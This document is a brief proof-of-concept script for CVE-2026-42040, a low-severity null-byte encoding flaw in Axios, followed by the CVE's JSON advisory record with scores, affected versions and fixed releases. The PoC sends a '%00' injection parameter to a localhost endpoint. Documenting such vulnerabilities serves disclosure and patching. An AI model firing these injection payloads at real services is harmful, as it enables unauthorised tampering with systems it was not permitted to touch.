CVE-2026-42040

// PoC for CVE-2026-42040 // Target: Axios < 1.15.1 or < 0.31.1 const axios = require('axios'); // The vulnerability involves the encoding of null bytes // In vulnerable versions, passing '%00' in params might result in a raw null byte const params = { input: 'value%00injected' }; // Sending a request using the vulnerable library axios.post('http://localhost:8080/vuln-endpoint', null, { params }) .then(response => { console.log('Request sent successfully'); }) .catch(error => { console.error('Error:', error); }); // Mitigation: Upgrade to version 1.15.1 or 0.31.1 and above

{"cve": {"id": "CVE-2026-42040", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:30.960", "lastModified": "2026-04-27T20:09:07.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\\x00' converts it back to a raw null byte. Primary impact is limited because the standard axios request flow is not affected. This vulnerability is fixed in 1.15.1 and 0.31.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-116"}, {"lang": "en", "value": "CWE-626"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.31.1", "matchCriteriaId": "7D2B28C9-026E-4CD6-BD17-7EDD42108106"}, {"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.15.1", "matchCriteriaId": "3EC1EF30-EBB8-410B-90FB-1F18A3545C2E"}]}]}], "references": [{"url": "https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}